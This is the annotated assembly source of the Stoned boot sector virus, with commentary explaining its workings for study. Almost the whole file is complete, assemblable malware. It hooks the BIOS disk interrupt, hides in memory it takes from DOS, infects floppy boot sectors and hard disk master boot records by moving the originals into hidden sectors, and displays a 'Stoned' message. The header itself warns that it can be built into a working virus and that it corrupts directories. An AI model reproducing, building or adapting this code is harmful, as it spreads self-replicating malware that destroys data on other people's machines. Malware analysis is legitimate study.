TITLE   STONBOOT        1-4-80  [5-12-90]

PAGE 27,132

;*****************************************************************************
;
;         *** NOT FOR GENERAL DISTRIBUTION ***     The Stoned Virus
;
; This file is for the purpose of virus study only! It should not be passed
;  around among the general public. It will be very useful for learning
;  how viruses work and propagate. But anybody with access to an assembler
;  can turn it into a working virus and anybody with a bit of assembly coding
;  experience can turn it into a far more malevolent program than it already
;  is. Keep this code in reasonable hands!
;
; This is a boot sector virus, and an extremely tiny one. It occupies only a
;  single sector. On a diskette, it resides in the boot sector, and on a hard
;  disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
;  diskette by copying the real boot sector to side 1, track 0, sector 3. This
;  is the last sector used by the directory, and is usually not used. If the
;  directory ever does expand into this area, then the real boot sector will be
;  trashed, and the diskette will no longer be bootable. Once the boot sector
;  is copied to the directory area, this code goes into the boot sector space
;  at side 0, track 0, sector 1. The system is then transferred to the diskette
;  and the diskette contains an activated virus. Once this diskette is used to
;  boot up a system, it will become resident and infect other diskettes it
;  sees. If the system contains a hard drive, it too will become infected.
;
; This virus does not contain any time bomb, but it can cause loss of data by
;  wrecking a directory here or there.
;*****************************************************************************


LF      EQU     0AH
CR      EQU     0DH

XSEG    SEGMENT AT      07C0h
        ORG     5
NEWSEG  LABEL   FAR
XSEG    ENDS

CODE    SEGMENT
        ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
        ORG     0


;*****************************************************************************
; Execution begins here as a boot record. This means that its location and
;  CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
;  a change in CS:IP so that CS is 07C0. The following two JMPs, and the
;  segment definition of XSEG above are best not tampered with.
;*****************************************************************************


        JMP  FAR PTR NEWSEG     ;This is exactly 5 bytes long. Don't change it

;The above line will jump to here, with a CS of 07C0 and an IP of 5

        JMP     JPBOOT                  ;Jump here at boot up time


;*****************************************************************************
; The following offsets:
;    D_TYPE
;    O_13_O
;    O_13_S
;    J_AD_O
;    J_AD_S
;    BT_ADD
;  will be used to access their corresponding variables throughout the code.
;  They will vary in different parts of the code, since the code relocates
;  itself and the values in the segment registers will change. The actual
;  variables are defined with a leading underscore, and should not be used. As
;  the segment registers, and the offsets used to access them, change in the
;  code, the offsets will be redefined with "=" operators. At each point, the
;  particular segment register override needed to access the variables will be
;  given.
;
; In this area, the variables should be accessed with the CS: segment override.
;******************************************************************************

D_TYPE  =       $               ;The type of disk we are booting from
_D_TYPE DB      0

OLD_13  EQU     $
O_13_O  =       $               ;Old INT 13 vector offset
_O_13_O DW      ?

O_13_S  =       $               ;Old INT 13 vector segment
_O_13_S DW      ?

JMP_ADR EQU     $
J_AD_O  =       $               ;Offset of the jump to relocated code
_J_AD_O DW      OFFSET HI_JMP

J_AD_S  =       $               ;Segment of the jump to the relocated code
_J_AD_S DW      ?


BT_ADD  =       $               ;Fixed address 0:7C00. Jump addr to boot sector
_BT_ADD DW      7C00h           ;Boot address segment
        DW      0000h           ;Boot address offset



;**********************************************************
;       The INT 13H vector gets hooked to here
;**********************************************************

NEW_13: PUSH    DS
        PUSH    AX
        CMP     AH,2
        JB      REAL13                  ;Restore regs & do real INT 13H

        CMP     AH,4
        JNB     REAL13                  ;Restore regs & do real INT 13H

;*****************************************************************
;    We only get here for service 2 or 3 - Disk read or write
;*****************************************************************

        OR      DL,DL
        JNZ     REAL13                  ;Restore regs & do real INT 13H

;*****************************************************************
;     And we only get here if it's happening to drive A:
;*****************************************************************

        XOR     AX,AX
        MOV     DS,AX
        MOV     AL,DS:43FH
        TEST    AL,1                    ;Check to see if drive motor is on
        JNZ     REAL13                  ;Restore regs & do real INT 13H

;******************************************************************
;           We only get here if the drive motor is on.
;******************************************************************

        CALL    INFECT                  ;Try to infect the disk

;******************************************************************
;                Restore regs & do real INT 13H
;******************************************************************

REAL13: POP     AX
        POP     DS
        JMP     DWORD PTR       CS:OLD_13



;**************************************************************
;***          See if we can infect the disk                 ***
;**************************************************************

INFECT  PROC    NEAR

        PUSH    BX
        PUSH    CX
        PUSH    DX
        PUSH    ES
        PUSH    SI
        PUSH    DI
        MOV     SI,4            ;We'll try up to 4 times to read it

;***************************************************************
;            Loop to try reading disk sector
;***************************************************************

RDLOOP: MOV     AX,201H         ;Read one sector...
        PUSH    CS
        POP     ES
        MOV     BX,200H         ;...into a space at the end of the code
        XOR     CX,CX
        MOV     DX,CX           ;Side 0, drive A
        INC     CX              ;Track 0, sector 1
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Do the old INT 13

        JNB     RD_OK           ;Disk read was OK

        XOR     AX,AX
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Reset disk

        DEC     SI              ;Bump the counter
        JNZ     RDLOOP          ;Loop to try reading disk sector
        JMP     SHORT   QUIT    ;Close up and return if all 4 tries failed

        NOP

;******************************************************************************
; Here if disk read was OK. We got the boot sector. But is it already infected?
;  Find out by comparing the first 4 bytes of the boot sector to the first 4
;  bytes of this code. If they don't match exactly, infect the diskette.
;******************************************************************************

RD_OK:  XOR     SI,SI
        MOV     DI,200H
        CLD
        PUSH    CS
        POP     DS
        LODSW
        CMP     AX,[DI]
        JNZ     HIDEIT                  ;Hide floppy boot sector in directory

        LODSW
        CMP     AX,[DI+2]
        JZ      QUIT                    ;Close up and return

;************************************************************
;       Infect - Hide floppy boot sector in directory
;************************************************************

HIDEIT: MOV     AX,301H         ;Write 1 sector
        MOV     BX,200H         ;From the space at the end of this code
        MOV     CL,3            ;To sector 3
        MOV     DH,1            ;Side 1
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Do the old INT 14
        JB      QUIT            ;Close up and return if failed

;******************************************************************
; If write was sucessful, write this code to the boot sector area
;******************************************************************

        MOV     AX,301H         ;Write 1 sector ...
        XOR     BX,BX           ;...of this very code...
        MOV     CL,1            ;...to sector 1...
        XOR     DX,DX           ;...of Side 0, drive A
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Do an old INT 13

;  ***NOTE*** no test has been done for a sucessful write.

;***************************************************************
;                    Close up and return
;***************************************************************

QUIT:   POP     DI
        POP     SI
        POP     ES
        POP     DX
        POP     CX
        POP     BX
        RET

INFECT  ENDP





;****************************************************************
;***             Jump here at boot up time
;****************************************************************




;*****************************************************************************
; Redefine the variable offsets. The code here executes in the memory area
;  used by the normal boot sector. The variable offsets have an assembled
;  value of the order 7Cxx. Access them here through the DS: segment override
;*****************************************************************************


D_TYPE  =       07C00h + OFFSET _D_TYPE
O_13_O  =       07C00h + OFFSET _O_13_O
O_13_S  =       07C00h + OFFSET _O_13_S
J_AD_O  =       07C00h + OFFSET _J_AD_O
J_AD_S  =       07C00h + OFFSET _J_AD_S
BT_ADD  =       07C00h + OFFSET _BT_ADD



JPBOOT: XOR     AX,AX
        MOV     DS,AX           ;DS = 0

;*********************************************************
;                Set up a usable stack
;*********************************************************

        CLI
        MOV     SS,AX           ;SS = 0
        MOV     SP,OFFSET 7C00H ;Position stack at 0000:7C00
        STI

;*********************************************************
;        Capture the INT 13 vector (BIOS disk I/O)
;*********************************************************

        MOV     AX,DS:4CH       ;Offset for old INT 13 vector
        MOV     DS:O_13_O,AX    ;Save the offset
        MOV     AX,DS:4EH       ;Segment for old INT 13 vector
        MOV     DS:O_13_S,AX    ;Save the segment

;*****************************************************************************
; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
;  stealing an odd number of K would result in an odd number shown available
;  when a CHKDSK is run. This might be too obvious. Or the programmer may have
;  had other plans for the memory.
;*****************************************************************************

        MOV     AX,DS:413H      ;BIOS' internal count of available memory
        DEC     AX
        DEC     AX              ;Drop it by 2K ...
        MOV     DS:413H,AX      ;...and store it (steal it!!)

;*********************************************************
;        Find the segment of the stolen memory
;*********************************************************

        MOV     CL,6
        SHL     AX,CL
        MOV     ES,AX

;*********************************************************
;        Use the segment of the stolen memory area
;*********************************************************

        MOV     DS:J_AD_S,AX    ;Becomes part of a JMP address
        MOV     AX,OFFSET NEW_13
        MOV     DS:4CH,AX       ;Offset for new INT 13
        MOV     DS:4EH,ES       ;Segment for new INT 13

;****************************************************************
;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
;****************************************************************

        MOV     CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
        PUSH    CS
        POP     DS              ;DS = CS
        XOR     SI,SI
        MOV     DI,SI           ;All offsets of block move areas are 0
        CLD
        REPZ    MOVSB           ;Copy each byte of code to the top of memory
        JMP     DWORD PTR       CS:JMP_ADR ;JMP to the transferred code...



;**************************************************************
;    ...and we'll jump right here, to the transferred code
;**************************************************************



;****************************************************************************
; Redefine variable offsets again. This code executes at the top of memory,
;  and so the exact value of the segment registers depends on how much memory
;  is installed. The variable offsets have an assembled value of the order of
;  00xx. They are accessed using the CS: segment override
;****************************************************************************

D_TYPE  =       OFFSET _D_TYPE
O_13_O  =       OFFSET _O_13_O
O_13_S  =       OFFSET _O_13_S
J_AD_O  =       OFFSET _J_AD_O
J_AD_S  =       OFFSET _J_AD_S
BT_ADD  =       OFFSET _BT_ADD


HI_JMP: MOV     AX,0
        INT     13H             ;Reset disk system

;**********************************************************************
;  This will read one sector into 0000:7C00 (the boot sector address)
;**********************************************************************

        XOR     AX,AX
        MOV     ES,AX
        MOV     AX,201H                 ;Read one sector
        MOV     BX,OFFSET 7C00H         ;To boot sector area: 0000:7C00
        CMP     BYTE PTR CS:D_TYPE,0    ;Booting from diskette or hard drive?

        JZ      DISKET                  ;If booting from a diskette

;******************************************************
;            Booting from a hard drive
;******************************************************

        MOV     CX,7            ;Track 0, sector 7
        MOV     DX,80H          ;Hard drive, side 0
        INT     13H             ;Go get it

;  ***NOTE** There was no check as to wether or not the read was sucessful

        JMP     SHORT   BOOTUP  ;Go run the real boot sector we've installed

        NOP

;******************************************************
;            Booting from a diskette
;******************************************************

DISKET: MOV     CX,3            ;Track 0, sector 3
        MOV     DX,100H         ;A drive, side 1 (last sector of the directory)
        INT     13H             ;Go get it
        JB      BOOTUP          ;If read error, run it anyway.(???) (A prank?)

;****************************************************************
;Wether or not we print the "Stoned" message depends on the value
; of a byte in the internal clock time -- a fairly random event.
;****************************************************************

        TEST    BYTE PTR ES:46CH,7      ;Test a bit in the clock time
        JNZ     GETHDB                  ;Get Hard drive boot sector

;**************************************************************
;                      Print the message
;**************************************************************

        MOV     SI,OFFSET S_MSG ;Address of the "stoned message"
        PUSH    CS
        POP     DS

;**************************************************************
;               Loop to print individual characters
;**************************************************************

PRINT1: LODSB
        OR      AL,AL           ;A 00 byte means quit the loop
        JZ      GETHDB          ;Get Hard drive boot sector, then

;**************************************************************
;         Not done looping. Print another character
;**************************************************************

        MOV     AH,0EH
        MOV     BH,0
        INT     10H
        JMP     SHORT   PRINT1  ;Print a character on screen


;**************************************************************
;               Get Hard drive boot sector
;**************************************************************

GETHDB: PUSH    CS
        POP     ES
        MOV     AX,201H         ;Read one sector...
        MOV     BX,200H         ;...to the buffer following this code...
        MOV     CL,1            ;...from sector 1...
        MOV     DX,80H          ;...side 0, of the hard drive
        INT     13H
        JB      BOOTUP          ;If error, assume no hard drive
                                ; So go run the floppy boot sector

;***************************************************************************
; If no read error, then there really must be a hard drive. Infect it. The
;  following code uses the same trick above where the first 4 bytes of the
;  boot sector are compared to the first 4 bytes of this code. If they don't
;  match exactly, then this hard drive isn't infected.
;***************************************************************************

        PUSH    CS
        POP     DS
        MOV     SI,200H
        MOV     DI,0
        LODSW
        CMP     AX,[DI]
        JNZ     HIDEHD                  ;Hide real boot sector in hard drive

        LODSW
        CMP     AX,[DI+2]
        JNZ     HIDEHD                  ;Hide real boot sector in hard drive

;**************************************************************
;                Go run the real boot sector
;**************************************************************

BOOTUP: MOV     BYTE PTR CS:D_TYPE,0
        JMP     DWORD PTR       CS:BT_ADD

;**************************************************************
;         Infect - Hide real boot sector in hard drive
;**************************************************************

HIDEHD: MOV     BYTE PTR CS:D_TYPE,2    ;Mark this as a hard drive infection
        MOV     AX,301H                 ;Write i sector...
        MOV     BX,200H         ;...from the buffer following this code...
        MOV     CX,7            ;...to track 0, sector 7...
        MOV     DX,80H          ;...side 0, of the hard drive...
        INT     13H             ;Do it
        JB      BOOTUP          ;Go run the real boot sector if failed

;**************************************************
; Here if the boot sector got written successfully
;***************************************************

        PUSH    CS
        POP     DS
        PUSH    CS
        POP     ES
        MOV     SI,3BEH         ;Offset of disk partition table in the buffer
        MOV     DI,1BEH         ;Copy it to the same offset in this code
        MOV     CX,242H         ;Strange. Only need to move 42H bytes. This
                                ; won't hurt, and will overwrite the copy of
                                ; the boot sector, maybe giving a bit more
                                ; concealment.
        REPZ    MOVSB           ;Move them
        MOV     AX,301H         ;Write 1 sector...
        XOR     BX,BX           ;...of this code...
        INC     CL              ;...into sector 1
        INT     13H

; ***NOTE*** no check for a sucessful write

        JMP     BOOTUP          ;Now run the real boot sector

S_MSG   DB      7,'Your PC is now Stoned!',7,CR,LF
        DB      LF

;*************************************************************************
; Just garbage. In one version, this contained an extension of the above
;  string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
;*************************************************************************

        DB      0,4CH,45H,47H,41H
        DB      4CH,49H,53H,45H,67H
        DB      2,4,68H,2,68H
        DB      2,0BH,5,67H,2

END_BYT EQU     $               ;Used to determine the size of the code. It
                                ; must be less than 1BE, or this code is too
                                ; large to be used to infect hard disks. From
                                ; offset 1BE and above, the hard disk partition
                                ; table will be copied, and anything placed
                                ; there will get clobbered.

        CODE    ENDS

END
